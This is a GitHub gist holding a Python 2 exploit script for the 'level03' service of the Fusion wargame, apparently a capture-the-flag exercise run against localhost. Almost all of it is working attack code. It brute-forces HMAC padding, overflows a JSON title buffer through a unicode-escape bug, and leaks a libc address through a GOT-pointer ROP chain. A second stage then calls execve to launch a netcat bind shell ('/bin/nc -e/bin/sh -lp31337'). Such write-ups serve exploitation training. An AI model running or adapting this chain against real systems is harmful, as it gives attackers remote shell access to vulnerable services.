Skip to content

Instantly share code, notes, and snippets.

@synap5e
Created May 30, 2014 11:53
Show Gist options
  • Save synap5e/940b66ffbf5fc5dfb90f to your computer and use it in GitHub Desktop.
Save synap5e/940b66ffbf5fc5dfb90f to your computer and use it in GitHub Desktop.
#!/usr/bin/env python2
target = ('127.0.0.1', 20003)
command = ['/bin/nc', '-e/bin/sh', '-lp31337']
"""
ltrace -i -p `ps -Af | grep level03 | grep -v -e grep -e python | tail -n 1 | cut -c 9-16`
echo attach `ps -Af | grep level03 | grep -v -e grep -e python | tail -n 1 | cut -c 9-16` > .gdbinit && gdb -q -iex "set auto-load safe-path /home/simon/Desktop/fusion"
"""
import struct, sys, socket, time, hmac, hashlib, string, itertools, json
from threading import Thread
def get_correct_padding(key, message):
for padding_it in (itertools.combinations((chr(x) for x in range(256)), y) for y in range(4)):
for padding in padding_it:
pads = '//' + ''.join(padding)
if hmac.HMAC(key, message + pads, digestmod=hashlib.sha1).digest()[0:2] == '\x00\x00':
return pads
# keep reading until count bytes are received, then return all data
def read_sock(conn, count):
data =''
while len(data) < count:
data += conn.recv(count-len(data))
return data
def to_hex(s):
return ':'.join(x.encode('hex') for x in s)
sig_len = len('"// 10.0.0.13:44241-1401239140-87644095-1265009796-1633160388"')
# 1000 bytes of pattern for whenever we need it
pattern = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co'
def send_payload(payload, contents='', ebx='A'*4, esi='A'*4, edi='A'*4, ebp='A'*4):
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn.connect(target)
sig = conn.recv(1024)[1:-2]
title = 'A' * 127 + '\\\\u0000'
title += 'A' * 15
title += ebx
title += esi
title += edi
title += ebp
title += payload
jsonb = ('{'
'"contents": "' + contents + '",'
'"serverip": "127.0.0.1:8080",'
# There's a bug in decode_string where the loop checks (dest != end)
# but a unicode escape advances dest by 2, so we can bypass this check
# by having a unicode escape at the end of our legitimate buffer contents
'"title": "' + title + '"'
'}'
)
data = sig + '\n' + jsonb + '\n'
print '[*] Looking for padding to match key...',
sys.stdout.flush()
data += get_correct_padding(sig, data)
print ' FOUND'
#raw_input()
#print to_hex(data)
#raw_input()
conn.send(data)
conn.close()
print '[*] Payload sent'
data = 0x0804bbd0
close_got_plt = 0x0804bd7c
ptr_close_got_plt = 0x08048ec2
gContents = 0x0804bdf4
ptr_data = 0x0804bcc4
decode_string = struct.pack('<I', 0x08049be0)
pop3 = struct.pack('<I', 0x0804964d) # pop ebx ; pop esi ; pop edi ; ret
post_blog_article = struct.pack('<I', 0x08049f20)
exit = struct.pack('<I', 0x08048f80)
charlocs = {
'\x00' : 0x8048e17,
'\xf0' : 0x8048f0c,
'\xfc' : 0x8049299,
'\xe4' : 0x8049017,
'\xf3' : 0x8049779,
'\x02' : 0x804905d,
'\xbc' : 0x8049d0b,
'\x04' : 0x8049573,
'\x08' : 0x80499a5,
'\x16' : 0x804a046,
'\x0e' : 0x804a915,
'\x0b' : 0x80491f7,
'\x15' : 0x80496f7,
'\x18' : 0x8048f96,
'\x17' : 0x8049c04,
'\x19' : 0x8049475,
'/' : 0x8049f7f,
'b' : 0x8049f80,
'i' : 0x804a3a2,
'n' : 0x804a3a3,
'w' : 0x80498b5,
'h' : 0x8048ec6,
'o' : 0x804a3a7,
'a' : 0x804a396,
'm' : 0x804a511,
'i' : 0x804a3c1,
'\\' : 0x8048e42,
'u' : 0x80493be,
'0' : 0x8048d92,
'd' : 0x8048e62,
'e' : 0x8049fae,
'c' : 0x804a33f,
'h' : 0x8048e56,
'w' : 0x80499d9,
'l' : 0x8048e82,
't' : 0x8048ea2,
'p' : 0x8048f8c,
'-' : 0x8049aef,
's' : 0x8049249,
'3' : 0x80492d9,
'1' : 0x8049202,
'7' : 0x8048bb1,
'2' : 0x804a5e4,
'.' : 0x804a5ef,
'#' : 0x8049503,
'x' : 0x804a5e5,
'r' : 0x80493f6,
'y' : 0x804a360,
':' : 0x8049bf9,
',' : 0x8048f92
}
badchars = ['\x00', '"', '\\', '\n', '\r']
def is_bad_address(addr):
return any(c in badchars for c in struct.pack('<I', addr))
def copy_byte(src, dst, len_ptr=data):
data = decode_string
data += pop3
data += struct.pack('<I', src)
data += struct.pack('<I', dst)
data += struct.pack('<I', len_ptr)
return data
def write_0_word(dest):
if is_bad_address(dest):
raise BadAddressException('Address cannot be ' + hex(dest))
return copy_byte(src=charlocs['\x00'], dst=data, len_ptr=dest)
class BadAddressException(Exception):
pass
def write_str(string, dest, null_terminated=False):
data = ''
for c in string:
if c in badchars:
raise Exception('String cannot contain ' + to_hex(badchar))
for i, c in enumerate(string):
if is_bad_address(dest+i):
raise BadAddressException('Address cannot be ' + hex(dest+i))
data += copy_byte(src=charlocs[c], dst=dest+i)
data += write_0_word(dest+len(string))
return data
def send_stage1():
stage1 = ''
# Copy the address of close@got.plt into &gContents so it now points
# to close@got.plt. When gContents is sent back to us it will instead
# send us the contents of close@got.plt :)
for i in range(4):
stage1 += copy_byte(src=ptr_close_got_plt+i, dst=gContents+i)
stage1 += post_blog_article
stage1 += exit
stage1 += '\xff' * 8
print '[*] Sending stage 1'
send_payload(stage1, contents='A'*4)
def send_stage_2(gclib_close_ptr):
execl = struct.pack('<I', gclib_close_ptr - 158992)
execve = struct.pack('<I', gclib_close_ptr -159712)
execvp = struct.pack('<I', gclib_close_ptr - 158672)
mprotect = struct.pack('<I', gclib_close_ptr + 47136)
puts = struct.pack('<I', gclib_close_ptr - 483360)
free = struct.pack('<I', gclib_close_ptr - 412448)
memset = struct.pack('<I', gclib_close_ptr - 389696)
stage2 = ''
# Write the strings used to invoke the command into the static data
string_locations = []
loc = data+50
for strng in command:
while True:
try:
stage2 += write_str(string=strng, dest=loc, null_terminated=True)
break;
except BadAddressException as e:
print e, ", trying next"
loc += 1
string_locations.append(loc)
loc += len(strng)+1
# write the array of these locations
for idx, loc in enumerate(string_locations):
stage2 += write_str(string=struct.pack('<I', loc), dest=data+4*(1+idx))
# set the last element to be NULL
stage2 += write_0_word(dest=data+4*(len(string_locations)+1))
stage2 += execve
stage2 += exit
stage2 += struct.pack('<I', data+50)
stage2 += struct.pack('<I', data+4)
for x in badchars:
if x in stage2:
print to_hex(stage2)
raise Exception(to_hex(x) + ' in payload')
stage2 += '\\\\u0000'
print '[*] Sending stage 2'
send_payload(stage2)
def listen_for_stage1_data(port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', port))
s.listen(1)
print '[*] Listening for stage1 response on port', port
conn, addr = s.accept()
print '[*] Received connection from:', addr
data = conn.recv(10240)
gclib_close_ptr = struct.unpack('<I', data[-4:])[0]
print '[*] Close is at', hex(gclib_close_ptr)
send_stage_2(gclib_close_ptr)
sys.exit(0)
print '> Trying to run "' + ' '.join(command) + '" on ' + target[0]
t = Thread(target = listen_for_stage1_data, args=(8080,))
t.start()
time.sleep(1)
send_stage1()
t.join()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment